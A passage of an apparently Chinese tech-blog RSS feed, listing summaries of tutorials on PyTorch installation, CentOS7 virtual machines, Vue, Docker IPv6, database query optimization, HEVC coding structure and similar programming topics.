将ens33网卡的MAC地址修改为00:0C:29:03:F3:76。&#xA;3．网卡常用命令&#xA;(1) ifdown</description>
    </item>
    <item>
      <title>Anaconda&#43;pycharm&#43;pytorch安装教程（GPU版）</title>
      <link>https://bchobby.github.io/posts/b2577399b9f7de80be6afa9a8bbd9570/</link>
      <pubDate>Wed, 01 Mar 2023 10:57:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2577399b9f7de80be6afa9a8bbd9570/</guid>
      <description> 配置环境 os:win11&#xA;Anaconda:3&#xA;pycharm:2022.3.2 (Professional Edition)&#xA;CUDA:11.7&#xA;注意：显卡必须是英伟达且显存6G及以上为佳，否则Pytorch安装在GPU下的运行效果远不如CPU，AMD显卡暂不支持安装。&#xA;安装步骤 一、Anaconda:&#xA;官网下载：Anaconda | The World&#39;s Most Popular Data Science Platform&#xA;安装：步骤不再具体叙述。&#xA;新建环境&#xA;在Anaconda中找到并打开Anaconda Navigator，点击-&amp;gt;Environments-&amp;gt;点击左下角Create,输入新建环境Name并选择python版本-&amp;gt;点击Create，等待一会儿环境即新建完成。&#xA;4.环境激活&#xA;打开Anaconda prompt-&amp;gt;输入activate pytorch-&amp;gt;回车（这里的pytorch是刚才新建的环境名，需要根据自己的实际定义修改）。&#xA;二、CUDA:&#xA;官网下载：https://developer.nvidia.com/cuda-toolkit-archive、&#xA;最新推荐下载11.6或11.7版本。&#xA;2.安装结果确认&#xA;键盘按win+R-&amp;gt;输入cmd-&amp;gt;回车-&amp;gt;输入nvcc -V，正常返回版本即为安装成功。&#xA;三、pytorch:&#xA;官网下载：Start Locally | PyTorch&#xA;选择相应配置后Ctrl+C复制Run this Command里的内容-&amp;gt;打开Anaconda prompt并进入刚刚新建激活好的环境内-&amp;gt;Ctrl+V粘贴Run this Command里的内容-&amp;gt;回车即可下载并安装；&#xA;注意这里的Package选Pip、Compute Platform需注意与安装的CUDA版本保持一致，其他项根据自己的实际情况选择；&#xA;到了这里即是已经安装完成。&#xA;2.安装结果确认：先输入python-&amp;gt;再依次输入下面的三行代码，返回对应结果即为正常。&#xA;import torch print(torch.__version__) print(torch.cuda.is_available()) 四、pyCharm:&#xA;1.环境加载：文件-&amp;gt;设置-&amp;gt;项目：pythonProject-&amp;gt;Python解释器-&amp;gt;全部显示，查看是否有新建的Conda环境；&#xA;如无则按以下步骤操作：点击左上角+号-&amp;gt;添加本地解释器-&amp;gt;Conda环境，找到Anaconda安装目录中的_conda.exe文件-&amp;gt;加载环境；&#xA;注意这里的使用现有环境需选择Anaconda-&amp;gt;envs-&amp;gt;pytorch;&#xA;最后在python解释器项选择刚加载的Conda环境并点击应用，等待环境加载完成点击确认即可；&#xA;安装结果确认：在新建项目中输入次输入下面的三行代码并运行，返回对应结果即为安装成功，至此所有步骤完成。&#xA;import torch print(torch.__version__) print(torch.cuda.is_available()) </description>
    </item>
    <item>
      <title>linux虚拟机创建CentOS7</title>
      <link>https://bchobby.github.io/posts/2839bc8b43701145259c1f1611c3e454/</link>
      <pubDate>Tue, 28 Feb 2023 20:02:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2839bc8b43701145259c1f1611c3e454/</guid>
      <description>操作系统安装讲解&#xA;## 1、最小化安装讲解 系统安装是学习Linux系统的第一步，该过程涉及到许多Linux系统的基础知识，是必须熟练掌握的能力。&#xA;实验环境&#xA;虚 拟 机： VMware® Workstation&#xA;镜 像： CentOS-7-x86_64&#xA;操作系统： Windows 10, 64-bit (Build 15063) 10.0.15063&#xA;操作过程&#xA;打开VMware虚拟机软件，依次点击**【文件】**选项卡 → 新建虚拟机。&#xA;依次点选【典型】，【稍后安装操作系统】，【Linux-Red Hat Enterprise Linux 7 64位】。&#xA;更改虚拟机存储位置到你想要的位置&#xA;磁盘划分20G足够，点选【将虚拟磁盘拆分成多个文件】&#xA;点击**【完成】**&#xA;单击编辑虚拟机设置。在内存选项中，将**【此虚拟机的内存】修改为【1024MB】。在处理器选项中，&#xA;将【处理器数量】修改为【1】个，【每个处理器的核心数量】修改为【1】**个。在CD/DVD选项中，将&#xA;**【使用ISO映像文件】**中选择Centos镜像文件。&#xA;现在即可返回并点击【开启此虚拟机】，开始安装CentOS7系统。&#xA;此界面选择【Install CentOS 7】，稍作等待开始安装。&#xA;首先选择语言&#xA;接下来选择系统安装位置&#xA;然后点选【I will configure partitioning】,再单击左上角的【Done】&#xA;进入分区界面，如果想偷一把懒，可直接点击【Click here to create them automatically】进行自动分区&#xA;接下来是分区相关的选读部分。&#xA;使用图示图标可以进行自定义分区&#xA;CentOS7提供了如下四种文件系统&#xA;【Standard Partition】是标准分区，提供ext2，ext3等传统文件系统，类似Windows Server中简单卷&#xA;的概念。&#xA;【Btrfs】是一种新型的文件系统，相较传统的ext3，Btrfs允许更大容量的单一文件，更大的存储容&#xA;量，以及提供了文件校验等特性。&#xA;【LVM】是逻辑卷管理，LVM将存储中的所有硬盘逻辑上看作一个存储空间，类似Windows server中&#xA;的跨区卷，可以更加容易的对分区进行空间管理，同时支持分区快照等功能。&#xA;【LVM Thin Provisioning】是LVM自动精简配置，在LVM的基础上，对分区空间进行弹性分配，在设&#xA;定预计存储空间大小后，由计算机管理存储空间，在空间达到预警阈值时才会通知管理员进行手工调&#xA;整。</description>
    </item>
    <item>
      <title>基于springboot的微信公众号管理系统（支持多公众号接入）</title>
      <link>https://bchobby.github.io/posts/64d32a697314a06ed5dacb10c5b87016/</link>
      <pubDate>Tue, 28 Feb 2023 19:23:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64d32a697314a06ed5dacb10c5b87016/</guid>
      <description>微信公众号管理系统，支持多公众号接入。提供公众号菜单、自动回复、公众号素材、模板消息、CMS等管理功能&#xA;项目说明 是一个轻量级的公众号开发种子项目，可快速接入微信公众号管理功能swagger文档（启动wx-api后查看）：http://localhost:8088/wx/swagger-ui/index.html 技术选型 核心框架：Spring Boot安全框架：Apache Shiro持久层框架：MyBatis-Plus页面交互：Vue2.x、ElementUI、TinyMce Editor、Vuex 截图 本項目已经包括前端，直接启动项目即可访问：http://localhost:8088/wx&#xA;演示地址 ：&#xA;https://www.klgeek.com/wx/wx-manage/index.html&#xA;账号密码：test/123456&#xA;演示账号部分功能受限！&#xA;源码下载地址：&#xA;https://imgbed.link/file/17216</description>
    </item>
    <item>
      <title>Unity流式数据读取</title>
      <link>https://bchobby.github.io/posts/489d4c30fddc764669d61e6ae72d11c3/</link>
      <pubDate>Tue, 28 Feb 2023 17:14:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/489d4c30fddc764669d61e6ae72d11c3/</guid>
      <description>不是很清楚这个名字对不对。&#xA;有时候我们需要用unity获取cpu或者硬盘的序列号，但是SystemInfo并不能获取，我们只能通过C#来获取，这个时候就用到了流式数据读取。&#xA;具体体现为：通过winfrom程序将cpu或硬盘的序列号读取出来，然后unity通过数据流读取的方式获取信息。&#xA;以下为winform中的代码&#xA;private void Form1_Load(object sender, EventArgs e) { //GetCPUSerialNum(); StringBuilder log = new StringBuilder(); try { long s = 0; long f = 0; log.AppendLine(GetCPUSerialNum()); DriveInfo[] ds = DriveInfo.GetDrives(); foreach (DriveInfo d in ds) { s += d.TotalSize; f += d.TotalFreeSpace; } //log.AppendLine(&#34;Harddisk Totalspace&#34; + link + (s / 1048576).ToString()); //log.AppendLine(&#34;Harddisk Freespace&#34; + link + (f / 1048576).ToString()); } catch (Exception ex) { Console.WriteLine(ex.Message + ex.StackTrace); } Console.</description>
    </item>
    <item>
      <title>深度学习是什么？应用在哪些方向？</title>
      <link>https://bchobby.github.io/posts/b19ae99174e66bfe5c3696f00f2c0bae/</link>
      <pubDate>Tue, 28 Feb 2023 17:04:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b19ae99174e66bfe5c3696f00f2c0bae/</guid>
      <description> 深度学习（Deep Learning）是一种机器学习技术，是一种基于神经网络的模型，用于学习和表示复杂的数据模式。相对于传统机器学习方法，深度学习通过多个隐层（hidden layer）的堆叠，可以构建更加复杂的模型，并且可以自动学习输入数据的特征表示。&#xA;深度学习是什么？应用在哪些方向？&#xA;深度学习的核心是神经网络，它是由神经元组成的层次结构，可以在多个层次上学习抽象特征，并逐步实现对输入数据的转化。通过不断迭代训练，神经网络可以自动学习到更加高级的特征表示，以及如何将输入数据与输出结果相对应，实现数据的分类、回归、聚类、生成等任务。&#xA;深度学习技术在计算机视觉、自然语言处理、语音识别、游戏AI等领域中得到广泛应用，并且取得了非常显著的成果。如在图像分类、目标检测、人脸识别等计算机视觉任务中，深度学习的准确率已经超过了人类；在语音识别和自然语言处理任务中，深度学习也已经成为最为常用的方法之一。&#xA;免费分享一些我整理的人工智能学习资料给大家，整理了很久，非常全面。包括一些人工智能基础入门视频+AI常用框架实战视频、图像识别、OpenCV、NLP、YOLO、机器学习、pytorch、计算机视觉、深度学习与神经网络等视频、课件源码、国内外知名精华资源、AI热门论文等。&#xA;下面是部分截图，点击文末名片关注我的公众号【AI技术星球】发送暗号 321 领取（一定要发暗号 321） 目录&#xA;一、人工智能免费视频课程和项目&#xA;二、人工智能必读书籍&#xA;三、人工智能论文合集&#xA;四、机器学习+计算机视觉基础算法教程&#xA;五、深度学习机器学习速查表（共26张）&#xA;学好人工智能，要多看书，多动手，多实践，要想提高自己的水平，一定要学会沉下心来慢慢的系统学习，最终才能有所收获。&#xA;点击下方名片，扫码关注公众号【AI技术星球】发送暗号 321 免费领取文中资料。 </description>
    </item>
    <item>
      <title>解决vue2.7及以后版本不兼容chrome老版本的问题</title>
      <link>https://bchobby.github.io/posts/4b3e31a41f1edb081707e748e8822b44/</link>
      <pubDate>Tue, 28 Feb 2023 16:49:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b3e31a41f1edb081707e748e8822b44/</guid>
      <description>报错信息&#xA;Uncaught SyntaxError: Unexpected token .&#xA;解决方案：&#xA;根目录下新建balel.config.js文件&#xA;module.exports = { presets: [ &#39;@vue/cli-plugin-babel/preset&#39; ] } pakege.json的browserslist参数增加&#34;Chrome &amp;gt; 64&#34;&#xA;重新初始化依赖并运行即可正常访问&#xA;browserslist参数配置参考：https://blog.csdn.net/qq_41772754/article/details/96854600?spm=1001.2014.3001.5502</description>
    </item>
    <item>
      <title>精选7个Python相关的Github学习资源库，助你成为优秀的开发者</title>
      <link>https://bchobby.github.io/posts/e5291837779bff41cd2e377ba496468c/</link>
      <pubDate>Tue, 28 Feb 2023 08:00:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5291837779bff41cd2e377ba496468c/</guid>
      <description>提高你的Python开发效率&#xA;当你在学习编程时，很容易被大量的资源所吓到，不知道该从何开始。GitHub 仓库是一个很好的起点，因为它们提供了一种非常实用的方式来了解实际的编程应用。你可以查看其他人的代码，并将其与自己的代码进行比较和学习。&#xA;当涉及到 Python 时，这些仓库提供了广泛的主题，从基本的语法到高级的数据分析和人工智能。在这些仓库中，你可以找到许多有趣的项目，如游戏、机器学习算法、网络爬虫、数据可视化等等。&#xA;除了这些仓库之外，还有很多其他的编程资源可以帮助你提高编程技能，如编程博客、在线教程、编程书籍等等。无论你是一个新手还是一个经验丰富的开发者，持续学习和探索是取得成功的关键。&#xA;1. Algorithm 这个仓库旨在为人们提供 Python 的算法和数据结构实现。在这个仓库中，你可以找到各种算法的实现，从基本的排序和搜索算法到复杂的图形算法和动态规划等等。此外，这个仓库还包含一些常见数据结构的实现，如树、堆、队列、栈等等。&#xA;这个仓库的一个很酷的特点是，每个算法和数据结构的实现都有一个相应的 README 文件，其中包含了详细的解释、复杂度分析、示例代码和测试用例等等。这让学习这些算法和数据结构变得更加容易。&#xA;如果你正在学习 Python 或者想要提高自己的算法和数据结构能力，这个仓库是一个值得关注和探索的地方。&#xA;https://github.com/TheAlgorithms/Python&#xA;2. 30-Days-Of-Python 这个仓库旨在帮助初学者学习 Python 编程语言。它包含了一个 30 天的 Python 编程挑战，每一天都包含了一些编程概念、任务和练习题。在这个挑战中，你将学习 Python 中的各种概念，如变量、数据类型、条件语句、循环语句、函数、模块、文件操作、异常处理等等。此外，你还将学习如何使用 Python 来处理数据、进行 web 开发和构建机器学习模型等等。&#xA;每一天的任务和练习题都有详细的说明和示例代码，以帮助你更好地理解和掌握 Python 的各种概念和技能。此外，这个仓库还包含了一些附加资源，如学习笔记、视频教程和额外的练习题等等，可以帮助你更好地掌握 Python 编程语言。&#xA;https://github.com/Asabeneh/30-Days-Of-Python&#xA;3. Learn Python 在这个仓库中，你可以找到一系列 Python 编程挑战和任务，从基本的语法和数据类型到高级的算法和数据结构等等。这些挑战和任务都有详细的说明和示例代码，可以帮助你更好地理解和掌握 Python 编程语言。&#xA;此外，这个仓库还包含了一些额外的资源，如 Python 编程书籍、在线课程和博客文章等等，可以帮助你更深入地学习 Python 编程语言。&#xA;这个仓库的一个很酷的特点是，它还包含了一些有趣的 Python 项目和工具，如迷宫生成器、密码破解器、人脸识别器等等。这些项目可以帮助你更好地理解和应用 Python 编程语言。&#xA;https://github.com/trekhleb/learn-python&#xA;4. 30-seconds-of-python 这个仓库旨在为人们提供 Python 编程语言中常用代码片段的快速参考。在这个仓库中，你可以找到大量的 Python 代码片段，这些片段包括了 Python 中的各种概念和功能，如字符串操作、列表操作、字典操作、函数、类、模块等等。这些代码片段都非常简洁明了，可以帮助你快速地理解和掌握 Python 编程语言中的各种功能。</description>
    </item>
    <item>
      <title>IDEA插件Apifox,一键自动生成接口文档！</title>
      <link>https://bchobby.github.io/posts/80b3f9b7ec2447bd54dd3e9ee3417a25/</link>
      <pubDate>Mon, 27 Feb 2023 22:32:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80b3f9b7ec2447bd54dd3e9ee3417a25/</guid>
      <description>有关Apifox软件之前写过一篇文章: 接口测试神器Apifox，亲测好用！&#xA;如何一键自动生成数据库文档之前也写过一篇文章: 数据库界的Swagger：一键生成数据库文档！&#xA;一、Apifox插件的优势 作为一名后端开发在项目开发过程中，肯定需要提供接口文档。&#xA;一般我们有两种方案&#xA;项目结合Swagger,自动生成接口文档。&#xA;手动将接口复制到其它接口文档，比如postman、Apifox。&#xA;第一种方案缺陷在于&#xA;为了生成完整接口文档，我们会代码入侵且增加开发工作量&#xA;当我们只需提供几个接口给第三方，总不能直接提供Swagger所有接口文档吧&#xA;第二种方案缺陷在于&#xA;需要一个一个将接口写在对应的接口文档上，耗费大量时间&#xA;当接口发生变更了，还需要修改下接口文档,会经常出现只修改接口忘记去修改接口文档的情况。&#xA;这时候这款插件神器就来了，它不仅可以解决上面的缺陷，而且还有更强大的功能，它可以支持直接在IDEA上做接口联调测试！&#xA;二、Apifox插件简单介绍 该插件主要用于 IDEA 项目快速生成 API 文档，并同步到 Apifox，代码零入侵。&#xA;基于 javadoc（Java）、KDoc（Kotlin）、ScalaDoc（Scala） 解析API文档。&#xA;支持 Swagger 注解&#xA;注意：可以在保持代码零侵入的情况下得到相当完整的 API 文档，但是特殊的需求还是需要部分特殊的注释/注解配合&#xA;功能特性 导出 API 文档到 Apifox&#xA;导出 Markdown 格式 API 文档&#xA;在 IDEA 中直接发起 API 请求&#xA;三、IDEA安装插件 1、支持以下IDEA IntelliJ IDEA 193.+(2019.3+)&#xA;IntelliJ IDEA Community Edition 174+(2017.4+)&#xA;2、搜索安装 打开IDEA &amp;gt; Preferences(Settings) &amp;gt; Plugins ，搜索 Apifox Helper&#xA;安装完成后，你就可以使用上面说的功能特性了。&#xA;如果是同步到 Apifox 项目，你还需要下载或注册 Apifox 软件，创建一个对应的项目（这个具体操作看上面那篇文章就可以了）</description>
    </item>
    <item>
      <title>《数据库系统概论》学习笔记——第九章 关系系统及其查询优化</title>
      <link>https://bchobby.github.io/posts/dd38e97ff98fe2cbb089580697c3ad7a/</link>
      <pubDate>Mon, 27 Feb 2023 20:50:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd38e97ff98fe2cbb089580697c3ad7a/</guid>
      <description>教材为数据库系统概论第五版（王珊）&#xA;9.1 关系数据库系统的查询处理 9.1.1 查询处理步骤 RDBMS查询处理阶段 ： （记一下）&#xA;查询分析查询检查查询优化查询执行 查询分析 对查询语句进行扫描、词法分析和语法分析&#xA;词法分析：从查询语句中识别出语言符号语法分析：进行语法检查 查询检查 合法性检查：根据数据字典中有关的模式定义检查语句中的数据库对象，如关系名、属性名是否存在和有效。视图转换：如果是对视图的操作，则要用视图消解方法把对视图的操作转换成对基本表的操作。安全性和完整性初步检查：根据数据字典中的用户权限和完整性约束定义对用户的存取权限进行检查。 检查通过后便把SQL查询语句转换成内部表示，即等价的关系代数表达式。这个过程中要把数据库对象的外部名称转换为内部表示。关系数据库管理系统一般都用查询树（query tree)，也称为语法分析树（syntax tree）来表示扩展的关系代数表达式。&#xA;查询优化 查询优化：选择一个高效执行的查询处理策略&#xA;查询优化分类 ：要背&#xA;代数优化：指关系代数表达式的优化，即按照一定的规则，通过对关系代数表达式进行等价变换，改变代数表达式中操作的次序和组合，使查询执行更高效物理优化：指存取路径和底层操作算法的选择 查询优化方法选择的依据：&#xA;基于规则(rule based)（比如题目要求按什么顺序进行什么操作）基于代价(cost based)（比如要求空间或时间更小）基于语义(semantic based) 查询执行 依据优化器得到的执行策略生成查询计划&#xA;代码生成器(code generator)生成执行查询计划的代码&#xA;加以执行，回送查询结果&#xA;9.1.2 实现查询操作的算法示例 一、 选择操作的实现&#xA;选择操作典型实现方法：&#xA;简单的全表扫描方法 对查询的基本表顺序扫描，逐一检查每个元组是否满足选择条件，把满足条件的元组作为结果输出适合小表，不适合大表 索引(或散列)扫描方法 适合选择条件中的属性上有索引(例如B+树索引或Hash索引)通过索引先找到满足条件的元组主码或元组指针，再通过元组指针直接在查询的基本表中找到元组 例：&#xA;Select * from student where &amp;lt;条件表达式&amp;gt;; 考虑&amp;lt;条件表达式&amp;gt;的几种情况：&#xA;C1：无条件；C2：Sno＝’200215121’；C3：Sage&amp;gt;20；C4：Sdept＝’CS’ AND Sage&amp;gt;20； C1:使用全表扫描&#xA;算法思想：假设可以使用的内存为M块，全表扫描的算法思想如下:&#xA;按照物理次序读Student的M块到内存。&#xA;检查内存的每个元组t,如果t满足选择条件,则输出t&#xA;如果 Student还有其他块未被处理,重复1和2。&#xA;C2：索引扫描算法 Select * from student where Sno＝&#39;200215121&#39;; 假设Sno上有索引(或Sno是散列码)，如果Sno是主码则系统会自动建立索引&#xA;算法：&#xA;使用索引(或散列)得到Sno为‘200215121’元组的指针通过元组指针在student表中检索到该学生 C3：索引扫描算法 Select * from student where Sage&amp;gt;20; 假设Sage上有B+树索引</description>
    </item>
    <item>
      <title>HTML快速生成代码的语法，简单快速上手。</title>
      <link>https://bchobby.github.io/posts/2cfa2940f6ab7def0dcbb54a1dfe51fd/</link>
      <pubDate>Mon, 27 Feb 2023 20:00:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2cfa2940f6ab7def0dcbb54a1dfe51fd/</guid>
      <description> 所有的操作都是按下tab键即可瞬间完成。&#xA;1.属性操作 用.来生成，后面就是类名&#xA;div.aaa 按tab后结果如下：&#xA;&amp;lt;div class=&#34;aaa&#34;&amp;gt;&amp;lt;/div&amp;gt; 用#来生成，后面就是id名&#xA;div#aaa 按tab&#xA;&amp;lt;div id=&#34;aaa&#34;&amp;gt;&amp;lt;/div&amp;gt; 其他属性用[]&#xA;div[title=&#39;hello&#39; colspan=3] 结果&#xA;&amp;lt;div title=&#34;hello&#34; colspan=&#34;3&#34;&amp;gt;&amp;lt;/div&amp;gt; 用$来实现编号,实际上就是个占位符&#xA;li.aaa$*3 结果&#xA;&amp;lt;li class=&#34;aaa1&#34;&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li class=&#34;aaa2&#34;&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li class=&#34;aaa3&#34;&amp;gt;&amp;lt;/li&amp;gt; 用@n来修改起始值&#xA;li.aaa$@3*3 结果，3可以用-3这样就会变成-5，-4，-3&#xA;&amp;lt;li class=&#34;aaa3&#34;&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li class=&#34;aaa4&#34;&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li class=&#34;aaa5&#34;&amp;gt;&amp;lt;/li&amp;gt; {}可以添加文本，不过这个不实用&#xA;2.嵌套使用 &amp;gt;生成子元素&#xA;div&amp;gt;ul&amp;gt;li 结果&#xA;&amp;lt;div&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; 其他的有，+生成兄弟元素，“^”生成父元素，”*n“生成多个相同元素，”()”将元素分组&#xA;3.table快捷生成 table&amp;gt;tr*3&amp;gt;td*3{data} 结果&#xA;&amp;lt;table&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;data&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;data&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;data&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;data&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;data&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;data&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;data&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;data&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;data&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/table&amp;gt; </description>
    </item>
    <item>
      <title>H.265/HEVC编码结构</title>
      <link>https://bchobby.github.io/posts/563670b8117b4baaa6f469597e3c431f/</link>
      <pubDate>Mon, 27 Feb 2023 18:01:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/563670b8117b4baaa6f469597e3c431f/</guid>
      <description>H.265/HEVC编码结构 为了增强各种应用下操作的灵活性以及数据损失的鲁棒性，H.265/HEVC在编解码的设计上添加了多种新的语法结构。相较于以往的视频编码标准（如H.264/AVC），这种新的语法架构使得H.265/HEVC在压缩效率和网络适应性两个方面都有显著提升。此外，根据不同业务需求、终端运算能力等，H.265/HEVC还相应地规定出不同的档次、层、级，以适应各种应用场景。本章首先对H.265/HEVC的编码架构和其所涉及的相关语法参数集进行详细介绍，然后给出档次、层、级的基本概念以及在H.265/HEVC中对它们的具体规范 [1] 。&#xA;3.1　编码结构概述&#xA;关于编码结构，可以从编码时的分层处理架构和编码完后码流的语法架构两方面进行描述。视频序列由若干时间连续的图像构成，在对其进行压缩时，先将该视频序列分割为若干个小的图像组（Group Of Pictures，GOP）。在视频编码中，存在两种GOP类型：封闭式GOP（Closed GOP）和开放式GOP（Open GOP），如图3.1所示。在封闭式GOP类型中，每一个GOP以IDR（Instantaneous Decoding Refresh）图像开始，各个GOP之间独立编解码。在开放式GOP类型中，第一个GOP中的第一个帧内编码图像为IDR图像，后续GOP中的第一个帧内编码图像为non-IDR图像，也就是说，后面GOP中的帧间编码图像可以越过non-IDR图像，使用前一个GOP中的已编码图像做参考图像。每个GOP又被划分为多个片（Slice），片与片之间进行独立编解码。其主要目的之一是在数据丢失情况下进行重新同步。每个片由一个或多个片段（Slice Segment，SS）组成。此外，为了更灵活、更有效地表示视频内容，H.265/HEVC还引入了树形结构单元（Coding Tree Unit，CTU）这一概念，其类似于传统的宏块。每个CTU包括一个亮度树形编码块（Coding Tree Block，CTB）和两个色差树形编码块。一个SS在编码时，先被分割为相同大小的CTU，每一个CTU按照四叉树分割方式被划分为不同类型的编码单元（Coding Unit，CU）。Slice到CU的之间的编码结构如图3.2所示。以上即为编码时的分层处理架构。一般来说，为了支持视频编码标准的通用性，ITU—T和ISO/IEC只规定码流的语法元素，以保证编码器的设计更为灵活。因此本章重点介绍H.265/HEVC编码后码流的语法架构。&#xA;图3.1　两种不同的GOP类型&#xA;图3.2　Slice到CU之间的编码架构&#xA;在码流结构方面，H.265/HEVC压缩数据采用了类似于H.264/AVC的分层结构，将属于GOP层、Slice层中共用的大部分语法元素游离出来，组成序列参数集（Sequence Parameter Set，SPS）和图像参数集（Picture Parameter Set，PPS）。SPS包含了一个CVS（Coded Video Sequence）中所有图像共用的信息。其中CVS被定义为一个GOP编码后所生成的压缩数据。SPS的内容大致包括解码相关信息，如档次级别、分辨率、某档次中编码工具开关标识和涉及的参数、时域可分级信息等。PPS包含一幅图像所用的公共参数，即一幅图像中所有SS引用同一个PPS。其大致内容包括初始图像控制信息，如初始量化参数（Quantization Parameter，QP）、分块信息等。此外，为了兼容标准在其他应用上的扩展，例如可分级视频编码器、多视点视频编码器，H.265/HEVC的语法架构中增加了视频参数集（Video Parameter Set，VPS）。其内容大致包括多个子层共享的语法元素，其他不属于SPS的特定信息等。对于一个SS，通过引用它所使用的PPS，该PPS又引用其对应的SPS，该SPS又引用它对应的VPS，最终得到SS的公用信息。H.265/HEVC压缩码流的结构如图3.3所示。&#xA;图3.3　H.265/HEVC压缩码流结构&#xA;参数集是一个独立的数据单位，它包含视频的不同层级编码单元的共享信息，只有当参数集直接或间接被SS引用时才有效。一个参数集并不对应某个特定的图像或CVS，同一个VPS或SPS可以被多个CVS引用，同一个PPS可以被多个图像引用。在H.265/HEVC中，NAL单元根据是否装载视频编码数据被分为VCLU（Video Coding Layer NAL Unit）和non-VCLU。非编码数据的参数集作为non-VCLU进行传输，这为传递关键数据提供了高鲁棒机制。参数集的独立使得其可以提前发送，也可以在需要增加新参数集的时候再发送，可以被多次重发或者采用特殊技术加以保护，甚至采用带外（Out-of-band）发送的方式。片段SS是视频编码数据的基本单位，一个SS的压缩数据生成一个VCLU进行传输。最终，一个视频序列的编码码流由一系列SS所生成的多个VCLU单元和夹杂其间的一些分割标示数据和参数集数据组成。分割标示数据用于区分一个SS属于哪幅图像、哪个CVS。&#xA;3.2　视频参数集&#xA;3.2.1　视频层描述&#xA;在H.264/AVC的码流结构中，没有类似VPS这样的参数集去描述时域各层之间的依赖关系。它的扩展部分可伸缩视频编码中，SEI信息提供了相关各层信息，以用于不同业务和不同终端的访问。但在一些应用场景，例如广播和多播，由于SEI中的部分信息会重复出现在SPS中，这样造成参数重传而引起延迟等问题。因此在H.265/HEVC中引入VPS，以克服H.264/AVC中存在的不足，同时为设计简洁，可扩展多层视频编码提供方便。VPS主要用于传输视频分级信息，有利于兼容标准在可分级视频编码或多视点视频编码的扩展。&#xA;一个给定的视频序列，无论它每一层的SPS是否相同，都参考相同的VPS。VPS包含的信息有：&#xA;① 多个子层和操作点共享的语法元素；&#xA;② 会话所需的有关操作点的关键信息，如档次、级别；&#xA;③ 其他不属于SPS的操作点特性信息，例如与多层或子层相关的虚拟参考解码器（Hypothetical Reference Decoder，HRD）参数。对每个操作点的关键信息的编码，不要求可变长编码，这样有利于减轻大多数网络组成单元的负担。H.265/HEVC的扩展版本将会在当前VPS中添加更多的语法元素，以使会话更加灵活高效并使编码码率具有更高的自适应性。&#xA;3.2.2　视频层参数集&#xA;表3.1给出了VPS中包含的各个语法元素以及它们的描述子。描述子即语法元素的熵解码算法，描述子符号表示如下。&#xA;ae（v）：基于上下文自适应的二元算术编码。&#xA;b（8）：读进连续的8 bit。&#xA;f（n）：读进连续的n bit。&#xA;se（v）：有符号指数Golomb熵编码。&#xA;u（n）：读进连续的n bit，且它们解码后的值为无符号整数。&#xA;ue（n）：无符号指数Golomb熵编码。&#xA;上面描述子中括号内的参数为n时，表明该语法元素是定长编码；参数为v时表示语法元素采用变长编码。&#xA;表3.1　VPS内的语法元素</description>
    </item>
    <item>
      <title>Docker容器开启IPv6</title>
      <link>https://bchobby.github.io/posts/374794c7916aaa554164bb5e6aca4294/</link>
      <pubDate>Mon, 27 Feb 2023 16:35:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/374794c7916aaa554164bb5e6aca4294/</guid>
      <description>Docker容器开启IPv6 Docker默认不开启IPv6配置，某些场景我们又需要IPv6网络支持，随着IPv6的普及，以后的使用场景会越来越多；&#xA;Docker开启IPv6支持 首先编辑 /etc/docker/daemon.json 配置文件，默认是没有该文件的，执行以下命令直接创建；&#xA;cat &amp;gt;/etc/docker/daemon.json &amp;lt;&amp;lt;EOF { &#34;ipv6&#34;: true, &#34;fixed-cidr-v6&#34;: &#34;fd00::/80&#34;, &#34;experimental&#34;: true, &#34;ip6tables&#34;: true } EOF 然后重启Docker服务；&#xA;systemctl restart docker Docker-Compose启用IPv6 docker-compose.yaml 中使用以下配置启用IPv6地址：&#xA;networks: local_bridge: enable_ipv6: true driver: bridge ipam: config: - subnet: &#34;fd00:1001::/80&#34; docker-compose.yaml 文件必须使用 version: “2”，version: “3” 不支持 enable_ipv6 配置；&#xA;如果已有旧的容器在运行（网络配置发生了变化），则需要先销毁容器 docker-compose down 然后再重新创建 docker-compose up；&#xA;手动创建IPv6网络 创建网络时带 --ipv6 选项，示例如下：&#xA;docker network create -d bridge --ipv6 --subnet &#34;fd00:1001::/80&#34; local_bridge 测试 最后在容器内ping一下IPv6地址；&#xA;# 进入容器命令行 docker exec -it php bash # 为容器安装ping命令 apt-get update apt-get install iputils-ping # ping ping -6 dns.</description>
    </item>
    <item>
      <title>关于el-table前端导出</title>
      <link>https://bchobby.github.io/posts/588334b4de6c938e724cbac074b802dc/</link>
      <pubDate>Mon, 27 Feb 2023 15:25:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/588334b4de6c938e724cbac074b802dc/</guid>
